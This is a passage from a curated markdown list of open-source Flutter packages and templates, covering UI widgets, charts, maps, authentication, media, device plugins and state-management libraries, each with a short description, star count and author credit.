- [Fluid Slider](https://github.com/rvamsikrishna/flutter_fluid_slider) [262⭐] - A slider with a minimal design and fluid like animation by [Vamsi Krishna](https://github.com/rvamsikrishna).
- [Flutter Xlider](https://github.com/Ali-Azmoud/flutter_xlider) [336⭐] - A material design slider and range slider, horizontal and vertical, with RTL support by [Ali-Azmoud](https://github.com/Ali-Azmoud).
#### UI Helpers
- [Reorderables](https://github.com/hanshengchiu/reorderables) [442⭐] - Drag&Drop Table, Row, Column, Wrap(Grid) and SliverList elements by [Hansheng Chiu](https://github.com/hanshengchiu).
- [Liquid Pull To Refresh](https://github.com/aagarwal1012/Liquid-Pull-To-Refresh) [922⭐] - A beautiful and custom refresh indicator by [Ayush Agarwal](https://github.com/aagarwal1012/).
- [Infinite Listview](https://github.com/fluttercommunity/flutter_infinite_listview) [206⭐] - Infinite scroll in both directions by [Simon Lightfoot](https://github.com/slightfoot).
- [Offline](https://github.com/jogboms/flutter_offline) [742⭐] - Tidy utility to handle offline/online connectivity by [Jeremiah Ogbomo](https://twitter.com/jogboms).
- [Scroll To Index](https://github.com/quire-io/scroll-to-index) [332⭐] - Scroll to specified child element with given index for SliverList/ListView by [Jerry Chen](https://github.com/jerrywell/).
- [In View Notifier List](https://github.com/rvamsikrishna/inview_notifier_list) - ListView that notify when widgets are on screen within a provided area by [Vamsi Krishna](https://github.com/rvamsikrishna).
- [ShowCaseView](https://github.com/simformsolutions/flutter_showcaseview) [687⭐] - Way to showcase your app features on iOS and Android by [Simform](https://github.com/simformsolutions).
#### Material Design
- [Unicorn Speed Dial](https://github.com/tiagojencmartins/unicornspeeddial) [300⭐] - Floating Action Button with Speed Dial by [Tiago Martins](https://github.com/tiagojencmartins).
- [Slidable](https://github.com/letsar/flutter_slidable) [2008⭐] - Slidable list item with left and right slide actions by [Romain Rastel](https://github.com/letsar).
#### Cupertino Design
- [Peek & Pop](https://github.com/aliyigitbireroglu/flutter-peek-and-pop) [188⭐] - Peek & Pop implementation based on the iOS functionality by [Ali Yigit Bireroglu](https://github.com/aliyigitbireroglu).
#### Effect
- [Frosted Glass](http://stackoverflow.com/questions/43550853/how-do-i-do-the-frosted-glass-effect-in-flutter) - Render effect by [Collin Jackson](http://www.collinjackson.com).
- [Parallax](https://github.com/FlutterRocks/page-transformer) [735⭐] - ViewPager by [Iiro Krankka](https://github.com/roughike).
- [Shimmer](https://github.com/hnvn/flutter_shimmer) [1387⭐] - Shimmer effect while content is loading by [HungHD](https://github.com/hnvn).
- [Wave](https://github.com/i-protoss/wave) [742⭐] - Displaying some waves with custom color, duration, floating and blur effects by [RockerFlower](https://github.com/RockerFlower).
- [Liquid Swipe](https://github.com/iamSahdeep/liquid_swipe_flutter) - Liquid swipe to your stacked containers by [Sahdeep Singh](https://github.com/iamSahdeep).
- [PhotoFilters](https://github.com/skkallayath/photofilters) [297⭐] - Apply filters to an image by [Sharafudheen KK](https://github.com/skkallayath).
- [Shine](https://github.com/JonathanMonga/flutter_shine.dart) [137⭐] - Pretty shadows with dynamic light positions by [Jonathan Monga](https://github.com/JonathanMonga/).
- [Clay Containers](https://github.com/mcaubrey/clay_containers) [369⭐] - Neumorphic widget primitives to serve as the foundation of your own designs by [Michael Charles](https://github.com/mcaubrey).
#### Calendar
- [Calendar Widget](https://github.com/pinkfish/flutter_calendar) [162⭐] - Calendar widget by [David Bennett](https://github.com/pinkfish).
- [Calendar Carousel Widget](https://github.com/dooboolab/flutter_calendar_carousel) <!-- stargazers:dooboolab/flutter_calendar_carousel--> - Calendar carousel by [dooboolab](https://github.com/dooboolab/flutter_calendar_carousel)
- [Table Calendar](https://github.com/aleksanderwozniak/table_calendar) [1167⭐] - Calendar organized neatly into a Table, with vertical autosizing by [Aleksander Woźniak](https://github.com/aleksanderwozniak).
- [Time Planner](https://github.com/Jamalianpour/time_planner) [66⭐] - A beautiful, easy to use and customizable time planner for flutter mobile, desktop and web by [Mohammad Jamalianpour](https://github.com/Jamalianpour).
#### Login
- [Login Animation](https://github.com/GeekyAnts/flutter-login-home-animation) [1044⭐] - Smooth animation from login to home by [Ruchika Gupta](https://github.com/geekruchika).
- [Flutter Login](https://github.com/NearHuscarl/flutter_login) - Login widget with slick animation from start to finish by [NearHuscarl](https://github.com/NearHuscarl).
#### Backend-Driven
- [Dynamic Widget](https://github.com/dengyin2000/dynamic_widget) [1100⭐] - Build your dynamic UI with json, and the json format is very similar with flutter widget code by [Denny Deng](https://github.com/dengyin2000).
### Image
- [Carousel Slider](https://github.com/serenader2014/flutter_carousel_slider) [1178⭐] - Carousel slider widget, support infinite scroll and custom child widget by [serenader](https://github.com/serenader2014).
- [Parallax Image](https://github.com/pulyaevskiy/parallax-image) [238⭐] - Image parallax by [Anatoly Pulyaevskiy](https://github.com/pulyaevskiy).
- [Photo View](https://github.com/renancaraujo/photo_view) [1478⭐] - Scalable image view with loading placeholder by [Renan C. Araújo](https://github.com/renancaraujo).
- [SVG](https://github.com/dnfield/flutter_svg) [1270⭐] - SVG parsing, rendering, and widget library by [Dan Field](https://github.com/dnfield).
- [Image Cropper](https://github.com/hnvn/flutter_image_cropper) [814⭐] - Crop your images support ratio, rotation, zoom by [HungHD](https://github.com/hnvn).
- [Cached Network Image](https://github.com/renefloor/flutter_cached_network_image) [1911⭐] - Show images from the internet and keep them in the cache directory by.
- [Lottie](https://github.com/xvrh/lottie-flutter) [665⭐] - Use airbnb's popular [After Effects Animation library](https://airbnb.design/lottie/) by [xvrh](https://github.com/xvrh/lottie-flutter).
- [Bitmap](https://github.com/renancaraujo/bitmap) [128⭐] - Perform Bitmap manipulations (such as contrast and exposure) with a help from the Dart FFI by [Renan C. Araújo](https://github.com/renancaraujo).
- [Crop](https://github.com/xclud/flutter_crop) [171⭐] - Crop any widget/image in Android, iOS, Web and Desktop by [Mahdi K. Fard](https://github.com/xclud/).
#### Image Picker
- [Image Picker](https://github.com/flutter/plugins/tree/master/packages/image_picker) - Images Selection by [Collin Jackson](http://www.collinjackson.com).
- [WeChat Assets Picker](https://github.com/fluttercandies/flutter_wechat_assets_picker) [811⭐] - Assets picker in WeChat style, support multi assets by [Alex Li](https://github.com/AlexV525).
### Map
- [Google Map View](https://github.com/apptreesoftware/flutter_google_map_view) [415⭐] - Displaying google map plugin by [AppTree Software](https://www.linkedin.com/company/apptree-software/).
- [GeoCoder](https://github.com/aloisdeniel/flutter_geocoder) [162⭐] - Forward and reverse geocoding by [Aloïs Deniel](https://aloisdeniel.github.com).
- [Mapbox GL](https://github.com/mapbox/flutter-mapbox-gl) [251⭐] - Interactive, customizable vector maps by Mapbox.
- [AMap](https://github.com/fluttify-project/amap_map_fluttify) [504⭐] - Access to AMap services(高德地图) by [fluttify-project](https://github.com/fluttify-project).
### Charts
- [Circular Chart](https://github.com/xqwzts/flutter_circular_chart) [355⭐] - Animated radial and pie charts by [Victor Choueiri](https://github.com/xqwzts).
- [Sparkline](https://github.com/xqwzts/flutter_sparkline) [245⭐] - Sparkline by [Victor Choueiri](https://github.com/xqwzts).
- [Charts](https://github.com/google/charts) [2505⭐] - By Google Charts Team.
- [Candlesticks](https://github.com/trentpiercy/flutter-candlesticks) [358⭐] - OHLC and Trade Volume Charts by [Trent Piercy](https://github.com/trentpiercy).
- [FCharts](https://github.com/thekeenant/fcharts) [321⭐] - Beautiful, responsive, animated charts by [Keenan Thompson](https://keenant.com).
- [FL Chart](https://github.com/imaNNeoFighT/fl_chart) [3846⭐] - Draw fantastic charts in Flutter by [Iman Khoshabi](http://www.ikhoshabi.com).
- [Bezier Chart](https://github.com/aeyrium/bezier-chart) [401⭐] - Beautiful bezier line chart widget for flutter that is highly interactive and configurable by [Diego Velasquez](https://twitter.com/diegoveloper).
- [Echarts](https://github.com/entronad/flutter_echarts) [533⭐] - Large collection of advanced reactives charts by [LIN Chen](https://github.com/entronad).
- [Graphic](https://github.com/entronad/graphic) [383⭐] - Data visualization library based on the Grammar of Graphics by [LIN Chen](https://github.com/entronad).
### Navigation
- [Fluro](https://github.com/goposse/fluro) [3362⭐] - The brightest, hippest, coolest router for Flutter with Navigation, wildcard, query, transitions by [Posse](http://goposse.com).
- [PageView Indicator](https://github.com/leocavalcante/page_view_indicator) [132⭐] - Build page indicators for the PageView by [Leo Cavalcante](https://github.com/leocavalcante).
- [Deep Link Navigation](https://github.com/Dennis-Krasnov/Flutter-Deep-Link-Navigation) [53⭐] - Elegant abstraction for complete deep linking navigation in Flutter by [Dennis Krasnov](https://denniskrasnov.com).
- [Get](https://github.com/jonataslaw/get) [5499⭐] - Navigate between screens & display snackbars/dialogs/bottomSheets without context by [Jonny Borges](https://github.com/jonataslaw).
- [Beamer](https://github.com/slovnicki/beamer) [290⭐] - Route through guarded page stacks and URLs using the Navigator 2.0 API effortlessly by [Sandro Lovnički](https://github.com/slovnicki).
### Auth
- [Local Auth](https://github.com/flutter/plugins/tree/master/packages/local_auth) - Touch ID, lock code, fingerprint auth on iOS and Android.
- [Login](https://github.com/AppleEducate/flutter_login) [628⭐] - FaceID, TouchID, and Fingerprint Reader by [Rody Davis](http://appleeducate.com).
- [Google Sign-In](https://github.com/flutter/plugins/tree/master/packages/google_sign_in) - Google OAuth.
- [Firebase Auth](https://github.com/FirebaseExtended/flutterfire/tree/master/packages/firebase_auth) - Firebase OAuth.
- [Facebook Login](https://github.com/roughike/flutter_facebook_login) [399⭐] - Authenticate with native Android & iOS Facebook login SDKs by [Iiro Krankka](https://github.com/roughike).
- [Apple Sign-In](https://github.com/tomgilder/flutter_apple_sign_in) [157⭐] - Apple sign in by [Tom Gilder](https://github.com/tomgilder).
- [OAuth](https://github.com/hitherejoe/FlutterOAuth) [170⭐] - Buffer, Strava, Unsplash, Github OAuth by [Joe Birch](http://www.hitherejoe.com).
- [Firebase Phone Auth](https://medium.com/@gildaswise/flutter-adding-sign-in-with-google-and-phone-authentication-to-your-app-69f681518f9b) - Phone number auth via SMS by [Gildásio Filho](https://github.com/gildaswise).
- [SimpleAuth](https://github.com/Clancey/simple_auth) [314⭐] - Azure Active Directory, Amazon, Dropbox, Facebook, Github, Google, Instagram, Linked In, Microsoft Live Connect, Github, OAuth, Basic Auth by [James Clancey](https://github.com/Clancey).
- [Flutter AppAuth](https://github.com/MaikuB/flutter_appauth) [176⭐] - Plugin that provides a wrapper around the AppAuth iOS and Android SDKs by [Michael Bui](https://github.com/MaikuB).
### Text & Rich Content
- [Markdown](https://github.com/flutter/flutter_markdown) null - Markdown renderer for Flutter. It supports the original format, but no inline html.
- [Masked Text](https://github.com/benhurott/flutter-masked-text) [244⭐] - Masked text with custom and monetary formatting by [Ben-hur Santos Ott](https://github.com/benhurott).
- [Zefyr](https://github.com/memspace/zefyr) [2016⭐] - Soft & gentle rich text editor by [Memspace](https://github.com/memspace/zefyr).
- [AutoSizeText](https://github.com/leisim/auto_size_text) [1496⭐] - Automatically resizes text to fit perfectly within its bounds by [Simon Leier](https://github.com/leisim).
- [Parsed Text](https://github.com/fayeed/flutter_parsed_text) [190⭐] - Interactive text based on content recognition, also supports Regex by [Fayeed Pawaskar](https://github.com/fayeed/).
- [TeX](https://github.com/shah-xad/flutter_tex) [186⭐] - Render Mathematics Equations with full HTML and JavaScript support by [Shahzad Akram](https://github.com/shah-xad).
- [Code Field](https://github.com/BertrandBev/code_field) - Customizable code field widget supporting syntax highlighting by [Bertrand Bevillard](https://github.com/BertrandBev).
### Forms
- [Form Builder](https://github.com/danvick/flutter_form_builder) [935⭐] - Framework that simplifies building forms, validating fields, reacting to changes, and collecting the final user input by [Danvick Miller](https://github.com/danvick).
- [Reactive Forms](https://github.com/joanpablo/reactive_forms) [233⭐] - Model-driven approach to handling Forms inputs and validations, heavily inspired in Angular's Reactive Forms.
### Analytics
- [Usage](https://github.com/dart-lang/usage) [123⭐] - Google Analytics wrapper for command-line, web, and Flutter apps.
- [Firebase Analytics](https://github.com/FirebaseExtended/flutterfire/tree/master/packages/firebase_analytics) - Connect to Firebase Analytics API.
- [Pure Mixpanel](https://github.com/seenickcode/pure_mixpanel) [21⭐] - Analytics for the popular [Mixpanel.com](https://mixpanel.com) [Nick Manning](https://twitter.com/seenickcode).
### Internationalization
- [GenLang](https://github.com/KingWu/gen_lang) [88⭐] - Code generator for Internationalization by [King Wu](https://github.com/KingWu).
- [Flutter Translate](https://github.com/bratan/flutter_translate) [279⭐] - Internationalization (i18n) library by [Florin Bratan](http://bratan.me).
- [attranslate](https://github.com/fkirc/attranslate) - Semi-automated translation of ARB or JSON files by [fkirc](https://github.com/fkirc).
### Styling
- [Flutterial](https://github.com/rxlabz/flutterial) [1437⭐] - Flutter Material Theme explorer by [Erick Ghaumez](https://twitter.com/rxlabz).
- [Pigment](https://github.com/bregydoc/pigment) [184⭐] - Simple but useful package for use colors in flutter.
### Media
#### Audio
- [Flutter Audio Recorder](https://github.com/shadow-app/flutter_audio_recorder) - Provides full controls and access to recording details such as level metering by [Wenyan Li](https://github.com/nikli2009).
- [Audio Recorder](https://github.com/ZaraclaJ/audio_recorder) [169⭐] - Record audio and store it locally by [Jordan Alcaraz](https://twitter.com/jordanalcrz).
- [Flutter Sound](https://github.com/dooboolab/flutter_sound) [666⭐] - Flutter audio recorder and player at one hand by [dooboolab](https://github.com/dooboolab).
- [AssetsAudioPlayer](https://github.com/florent37/Flutter-AssetsAudioPlayer) [567⭐] Simultaneous playback of audio from assets/network/file and displaying notifications [android / ios / web / macos]
- [Audio Service](https://pub.dev/packages/audio_service) - System background audio support by [Ryan Heise](https://github.com/ryanheise). [Tutorial](https://suragch.medium.com/background-audio-in-flutter-with-audio-service-and-just-audio-3cce17b4a7d?sk=0837a1b1773e27a4f879ff3072e90305) by [Suragch](https://twitter.com/Suragch1).
#### Video
- [WebRTC](https://github.com/cloudwebrtc/flutter-webrtc) [2747⭐] - WebRTC plugin for iOS/Android by [CloudWebRtc](https://github.com/cloudwebrtc).
- [Chewie](https://github.com/brianegan/chewie) [1353⭐] - Provides low-level access to video playback by [Brian Egan](https://github.com/brianegan).
- [Video Trimmer](https://github.com/sbis04/video_trimmer) [276⭐] - Visualise and trim videos by [Souvik Biswas](https://github.com/sbis04).
- [CamerAwesome](https://github.com/Apparence-io/camera_awesome) [295⭐] - Community camera plugin rework by [Apparence.io studio](https://apparence.io).
#### Voice
- [Speech Recognition](https://github.com/rxlabz/speech_recognition) [323⭐] - Speech to text by [Erick Ghaumez](https://twitter.com/rxlabz).
- [OK Google](https://marcinszalek.pl/flutter/ok-google-flutter/) - Integrate google assistant by [Marcin Szalek](https://marcinszalek.pl/).
### Storage
- [Firebase Storage](https://github.com/FirebaseExtended/flutterfire/tree/master/packages/firebase_storage) - Firebase as data storage.
- [Secure Storage](https://github.com/mogol/flutter_secure_storage) [723⭐] - Keychain and Keystore storage by [German Saprykin](https://github.com/mogol).
#### Preferences
- [Streaming Shared Preferences](https://github.com/roughike/streaming_shared_preferences)<!--stargazers:roughike/streaming_shared_preferences--> - Reactive key-value store, shared preferences with Streams by [Iiro Krankka](https://github.com/roughike).
### Monetization
- [Admob](https://pub.dev/packages/admob) - GoogleAdmob supports interstitial ads in both iOS and Android by Brett Nesbitt.
- [Firebase AdMob](https://github.com/FirebaseExtended/flutterfire/tree/master/packages/firebase_admob) - Ad integration using Firebase.
- [Inapp Purchase](https://github.com/dooboolab/flutter_inapp_purchase) [464⭐] - Features set of 'in app purchase' derived from [react-native-iap](https://github.com/dooboolab/react-native-iap) by [dooboolab](https://github.com/dooboolab).
- [Admob Flutter](https://github.com/kmcgill88/admob_flutter) - Admob plugin that shows banner ads using native platform views by [Youssef Kababe](https://github.com/YoussefKababe) & [Kevin McGill](https://github.com/kmcgill88).
- [Facebook Audience Network](https://github.com/dreamsoftin/facebook_audience_network) - Facebook Audience Network Ad plugin that shows banner, interstitial, in-stream video, rewarded video & natvie ads by [Dreamsoft Innovations](https://github.com/dreamsoftin).
- [Square In-App Payments SDK](https://github.com/square/in-app-payments-flutter-plugin) [283⭐] - Take payments by embedding a card entry form in your app that produces nonces from customer-provided card information or digital wallets by [Square](https://github.com/orgs/square).
## Templates
- [Movie Details](https://github.com/FlutterRocks/movie-details-ui) [372⭐] - Movie details page by [Iiro Krankka](https://github.com/roughike).
- [Mates](https://github.com/CodemateLtd/FlutterMates) [482⭐] - How to load profiles from the randomuser.me API and a nice profile details page by [Iiro Krankka](https://github.com/roughike).
- [Weather](https://github.com/alessandroaime/Weather) [141⭐] - Weather app to learn how to use Canvas and Animation by [Alessandro Aime](https://github.com/alessandroaime).
- [TodoMVC](https://github.com/brianegan/flutter_architecture_samples) [7528⭐] - TODO application ready to go with different flavors : Vanilla, Redux, built_redux by [Brian Egan](https://github.com/brianegan).
- [Restaurant Menu](https://github.com/braulio94/menu_flutter) [553⭐] - Restaurant menu by [Braulio Cassule](https://github.com/braulio94).
- [UI Challenges](https://github.com/tomialagbe/flutter_ui_challenges) [1272⭐] - Profile, Travel, Food App by [Tomi Alagbe](https://github.com/tomialagbe).
- [Cupertino Settings](https://github.com/matthinc/flutter_cupertino_settings) [219⭐] - iOS Settings by [Matthias Rupp](https://github.com/matthinc).
- [Music Player](https://github.com/thosakwe/flutter_music_player) [205⭐] - music player component by [Tobe O](https://thosakwe.com/).
- [Dashboard](https://github.com/Ivaskuu/dashboard) [814⭐] - Dashboard and Shop Items by [Ivascu Adrian](https://github.com/Ivaskuu).
- [Todo](https://github.com/littlemarc2011/FlutterTodo) [519⭐] - Todo template from Dribble by [Marc L](https://www.marc-little.com/).
- [Card Swipe Animation](https://github.com/geekruchika/FlutterCardSwipe) [462⭐] - Swipe cards template by [Ruchika Gupta](https://github.com/geekruchika).
- [UI Kit](https://github.com/iampawan/Flutter-UI-Kit) [5707⭐] - Collection of useful UIs in a UIKit by [Pawan Kumar](https://github.com/iampawan).
- [Book](https://github.com/putraxor/flutter-book-app) [300⭐] - Bookshelf by [Ardiansyah Putra](https://github.com/putraxor).
- [The Gorgeous Login](https://github.com/huextrat/TheGorgeousLogin) [1497⭐] - Design and smooth login template by [Hugo Extrat](https://github.com/huextrat).
- [Liquid Pay Payment App](https://github.com/longhoang2984/flutter_payment_app_ui) [251⭐] - Liquid Pay App Concept by [Long Hoang](https://github.com/longhoang2984).
- [DrawApp](https://github.com/SnakeyHips/drawapp) [208⭐] - Sample Drawing App to demonstrate how to allow user to draw onto canvas with color picker and brush thickness slider by [Jake Gough](https://github.com/SnakeyHips).
- [Starter Kit](https://github.com/KingWu/flutter_starter_kit) [596⭐] - App Store implementation to learn Bloc, RxDart, Sqflite, Fluro and Dio. by [King Wu](https://github.com/KingWu).
- [Feather](https://github.com/jhomlala/feather) [472⭐] - Beautiful weather application. Application includes RxDart, Dio, BLoC, i18n, unit and widget tests. by [Jakub Homlala](https://github.com/jhomlala).
- [Clone UI Challenges](https://github.com/javico2609/flutter-challenges) [1280⭐] - Collection of useful UIs clones by [Javier González](https://github.com/javico2609).
- [FlutterFoodybite](https://github.com/JideGuru/FlutterFoodybite) [1113⭐] - Beautiful food app UI template by [JideGuru](https://github.com/JideGuru).
- [Flutter Samples](https://github.com/diegoveloper/flutter-samples) [2464⭐] - Collection of nice flutter samples by [Diego Velásquez](https://github.com/diegoveloper).
- [ActingWeb First_App](https://github.com/gregertw/actingweb_firstapp) [285⭐] - Starter app with basic elements for a team-developed production-quality app by [Greger Wedel](https://github.com/gregertw).
- [Smart Washing Machine](https://github.com/pawlik92/flutter_whirlpool) [590⭐] - Smart washing machine UI challenge app with Box2D physic engine by [Tomasz Pawlikowski](https://github.com/pawlik92).
- [Beautiful Timelines](https://github.com/JHBitencourt/beautiful_timelines) [186⭐] - A set of beautiful timelines by [Julio Bitencourt](https://github.com/JHBitencourt).
### Clone
- [GitTouch](https://github.com/pd4d10/git-touch) [979⭐] - Open source mobile client for GitHub, GitLab, Bitbucket and Gitea by [Rongjian Zhang](https://github.com/pd4d10).
### Machine Learning
- [MLKit](https://github.com/azihsoyn/flutter_mlkit) [377⭐] - Firebase Machine Learning Kit by [Naoya Yoshizawa](https://github.com/azihsoyn).
- [m2cgen](https://github.com/BayesWitnesses/m2cgen) [1953⭐] - CLI tool to convert ML models into native Dart code by [BayesWitnesses](https://github.com/BayesWitnesses).
### Vision
- [ML Vision Camera Stream](https://github.com/santetis/flutter_camera_ml_vision) [218⭐] - ML vision recognitions (QRcode, face, ...) with live camera stream by [Aumard Jimmy](https://github.com/jaumard) and [Santetis](https://github.com/santetis).
- [Google Mobile Vision](https://github.com/edufolly/flutter_mobile_vision) [433⭐] - Google Mobile Vision by [Eduardo Folly](https://github.com/edufolly).
#### Augmented Reality
- [ARKit Plugin](https://github.com/olexale/arkit_flutter_plugin) [612⭐] - Wrapper for ARKit - Apple's augmented reality platform for iOS by [Olexandr Leuschenko](https://github.com/olexale).
- [ARCore Plugin](https://github.com/giandifra/arcore_flutter_plugin) [316⭐] - Augmented reality with ARCore platform by [Gian Marco Di Francesco](https://github.com/giandifra).
## Plugins
- [Pub packages](https://pub.dev/flutter/packages) - Packages filter in Dart Pub Repository.
- [Plugins](https://github.com/flutter/plugins/tree/master/packages) - Official Flutter Team Plugins.
### Device
- [WebView](https://github.com/dart-flitter/flutter_webview_plugin) [1376⭐] - Render web content by [Hadrien Lejard](https://twitter.com/HadrienLejard).
- [Location](https://github.com/Lyokone/flutterlocation) [836⭐] - Handle location, handling callbacks to get continuous location by [Lyokone](https://github.com/Lyokone).
- [Battery](https://pub.dev/packages/battery) - Access various information about the battery.
- [Proximity Sensor Plugin](https://pub.dev/packages/proximity_plugin) - A plugin to access the proximity sensor of your device by [Manoj NB](https://github.com/Samaritan1011001).
- [Geolocation](https://github.com/loup-v/geolocation) [214⭐] - Fully featured geolocation plugin: current location, location updates, geocode, places and more by [Loup](http://intheloup.io).
- [Local Notifications](https://github.com/MaikuB/flutter_local_notifications) [1715⭐] - Plugin for displaying local notifications by [Michael Bui](https://github.com/MaikuB).
- [Device Calendar](https://github.com/builttoroam/flutter_plugins/tree/master/device_calendar) - Plugin for modifying calendars on the user's device by [Built to Roam](http://builttoroam.com).
- [Badger](https://github.com/g123k/flutter_app_badger) [233⭐] - Update app badge on the launcher by [Edouard Marquez](https://twitter.com/g123k).
- [UDID](https://github.com/GigaDroid/flutter_udid) [166⭐] - Persistent UDID across app reinstalls by [Leon Kukuk](https://kukuk.me).
- [Downloader](https://github.com/hnvn/flutter_downloader) [655⭐] - Create and manage download tasks by [HungHD](https://github.com/hnvn).
- [InAppWebView](https://github.com/pichillilorenzo/flutter_inappwebview) [1688⭐] - Add inline WebView widgets or open an in-app browser window by [Lorenzo Pichilli](https://github.com/pichillilorenzo).
- [AppAvailability](https://github.com/pichillilorenzo/flutter_appavailability) [80⭐] - List, launch and check installed apps by [Lorenzo Pichilli](https://github.com/pichillilorenzo).
- [File Picker](https://github.com/miguelpruivo/plugins_flutter_file_picker) [719⭐] - Native file explorer to load absolute file path by [Miguel Ruivo](https://github.com/miguelpruivo).
- [VPN](https://github.com/X-dea/Flutter_VPN)<!--stargazers:X-dea/Flutter_VPN--> - Access VPN services by [Jason C.H](https://github.com/ctrysbita).
- [Geolocator](https://github.com/baseflow/flutter-geolocator)<!--stargazers:baseflow/flutter-geolocator--> - A Flutter geolocation plugin which provides easy access to the platform specific location services by [Baseflow](https://baseflow.com).
- [Permission Handler](https://github.com/baseflow/flutter-permission-handler)<!--stargazers:baseflow/flutter-permission-handler--> - A Flutter permission plugin which provides a cross-platform (iOS, Android) API to request and check permissions by [Baseflow](https://baseflow.com).
- [WidgetKit](https://github.com/fasky-software/flutter_widgetkit)<!--stargazers:baseflow/fasky-software/flutter_widgetkit--> - A plugins which allows you to create a Widget-Extention for iOS by [Thomas Leiter](https://github.com/tomLadder).
#### Scanner
- [QR Code Reader](https://github.com/villela/flutter_qrcode_reader) [218⭐] - QR Code reader plugin by [Matheus Villela](https://github.com/villela).
- [Fast QR Reader View](https://github.com/facundomedica/fast_qr_reader_view) [275⭐] - Live multicode reader by [Facundo Medica](https://github.com/facundomedica).
#### Bluetooth / NFC / Beacon
- [Blue](https://github.com/pauldemarco/flutter_blue) [1914⭐] - Bluetooth by [Paul DeMarco](https://github.com/pauldemarco).
- [Beacons](https://github.com/loup-v/beacons) [75⭐] - Flutter beacons plugin by [Loup](http://intheloup.io).
- [NFC Reader](https://github.com/matteocrippa/flutter-nfc-reader) [285⭐] - NFC reader plugin for iOS and Android by [Matteo Crippa](https://github.com/matteocrippa).
- [Beacon broadcast](https://github.com/pszklarska/beacon_broadcast) [70⭐] - Library for turning your phone into a beacon by [Paulina Szklarska](https://github.com/pszklarska/).
- [Reactive Ble](https://github.com/PhilipsHue/flutter_reactive_ble) [272⭐] - Handles BLE operations for multiple devices by [Philips Hue](https://github.com/PhilipsHue).
- [NFC Manager](https://github.com/okadan/flutter-nfc-manager) [83⭐] - Generic NFC plugin for iOS and Android by [Naoki Okada](https://github.com/okadan).
### Storage
- [Sqflite](https://github.com/tekartik/sqflite) [2289⭐] - SQLite flutter plugin by [Alexandre Roux](https://www.linkedin.com/in/alextekartik/).
- [Moor](https://github.com/simolus3/moor) - Moor is an easy to use, reactive, typesafe persistence library for Dart & Flutter by [.
Simon Binder](https://github.com/simolus3)
### Services
- [Dialogflow](https://github.com/VictorRancesCode/flutter_dialogflow) [186⭐] - Plugin to easily integrate with dialogflow by [Victor Rances](https://github.com/VictorRancesCode/).
- [Intercom](https://pub.dev/packages/intercom) [23⭐] - Add Intercom integration to your app by [Maido Kaara](https://github.com/v3rm0n).
- [OneSignal](https://github.com/OneSignal/OneSignal-Flutter-SDK) [497⭐] - Push notification service by [OneSignal](https://github.com/OneSignal).
- [Place Dialog](https://github.com/pinkfish/flutter_places_dialog) [45⭐] - Places picker dialog returning the places to the app by [David Bennett](https://github.com/pinkfish).
- [App Rating](https://github.com/AppleEducate/app_review) [30⭐] - Requesting and Writing Reviews for the App Store and Google Play by [Rody Davis](http://appleeducate.com).
## Frameworks
### State management
#### Standard
- [Bloc](https://github.com/felangel/bloc) [8181⭐] - Collection of packages that help implement the BLoC design pattern by [Felix Angelov](https://github.com/felangel).
- [MobX](https://github.com/mobxjs/mobx.dart) [2037⭐] - Supercharge the state-management in your apps with Transparent Functional Reactive Programming (TFRP). Port of MobX from the Js/React land.
- [Provider](https://github.com/rrousselGit/provider) [3974⭐] - State-management library for Flutter by [Remi Rousselet](https://github.com/rrousselGit).
- [RiverPod](https://github.com/rrousselGit/river_pod) [2214⭐] - Provider, but different by [Remi Rousselet](https://github.com/rrousselGit).
- [GetX](https://github.com/jonataslaw/getx) <!--jonataslaw/getx--> - Contextless, State-management & navigation by [Jonny Borges](https://github.com/jonataslaw).
- [Binder](https://github.com/letsar/binder) [167⭐] - A lightweight, yet powerful way to bind your application state with your business logic, by [Romain Rastel](https://github.com/letsar).
#### Redux / ELM / Dependency Injection
- [Built redux](https://github.com/davidmarne/flutter_built_redux) [81⭐] - Automatic subscribing to your redux stores. Based on the built pattern by [David Marne](https://github.com/davidmarne).
- [Redux.dart](https://github.com/johnpryan/redux.dart) [486⭐] - Port of Redux to Dart with an ecosystem of middleware, Flutter integrations, and time traveling dev tools by [John Ryan](https://github.com/johnpryan) and [Brian Egan](https://gitlab.com/users/brianegan/projects).
- [Redux](https://github.com/brianegan/flutter_redux) [1522⭐] - Built to work with [redux.dart](https://github.com/johnpryan/redux.dart), utilities that allow you to easily consume a Redux Store to build Widgets.
- [Inject](https://github.com/google/inject.dart) [847⭐] - Compile-time dependency injection by Google.
- [Flux](https://github.com/google/flutter_flux) [368⭐] - Implementation of the Flux framework by Google.
- [Fish](https://github.com/alibaba/fish-redux) [7214⭐] - Alibaba Redux implementation.
- [Async Redux](https://pub.dev/packages/async_redux) [199⭐] - Redux without boilerplate. Allows for both sync and async reducers by [Marcelo Glasberg](https://github.com/marcglasberg/).
### Widgets
- [Hooks](https://github.com/rrousselGit/flutter_hooks) [1965⭐] - Advanced code sharing between widgets by [Remi Rousselet](https://github.com/rrousselGit).
- [Functional widget](https://github.com/rrousselGit/functional_widget) [435⭐] - Code generator writing widgets as functions with annotations by [Remi Rousselet](https://github.com/rrousselGit).
### Data
- [Graphql](https://github.com/zino-app/graphql-flutter) [2796⭐] - Implementation of the GraphQL spec by [Zino App B.V.](https://github.com/zino-app).
- [GeoFlutterFire](https://github.com/DarshanGowda0/GeoFlutterFire) [244⭐] - Implementation of GeoFirestore for flutter by [Darshan Gowda](https://darshann.me/).
- [Ferry](https://github.com/gql-dart/ferry) [334⭐] - Powerful & Extensible GraphQL Client by [Sat Mandir Khalsa](https://github.com/smkhalsa).
### Backend
- [Dynamic Widget](https://github.com/dengyin2000/dynamic_widget) [1100⭐] - Build your dynamic UI with json, and the json format is very similar with flutter widget code by [Denny Deng](https://github.com/dengyin2000).
- [NETCoreSync](https://github.com/aldycool/NETCoreSync) - Centralized database synchronization framework for multiple clients, built on top of [Moor](https://github.com/simolus3/moor) library by [Aldy J](https://github.com/aldycool).
- [Parse for Flutter](https://github.com/parse-community/Parse-SDK-Flutter/tree/master/packages/flutter) [394⭐] - Open source backend framework by [ParsePlatform](https://parseplatform.org/).
### Animation
- [Sequence Animation](https://github.com/Norbert515/flutter_sequence_animation) [338⭐] - Composite staggered animations by [Norbert Kozsir](https://twitter.com/norbertkozsir).
- [SpinKit](https://github.com/jogboms/flutter_spinkit) [2405⭐] - Animated loading indicators by [Jeremiah Ogbomo](https://twitter.com/jogboms).
- [Villains](https://github.com/Norbert515/flutter_villains) [328⭐] - Page transition animations by [Norbert Kozsir](https://twitter.com/norbertkozsir).
- [AnimatedTextKit](https://github.com/aagarwal1012/Animated-Text-Kit) [1268⭐] - A collection of cool text animations by [Ayush Agarwal](https://github.com/aagarwal1012/).
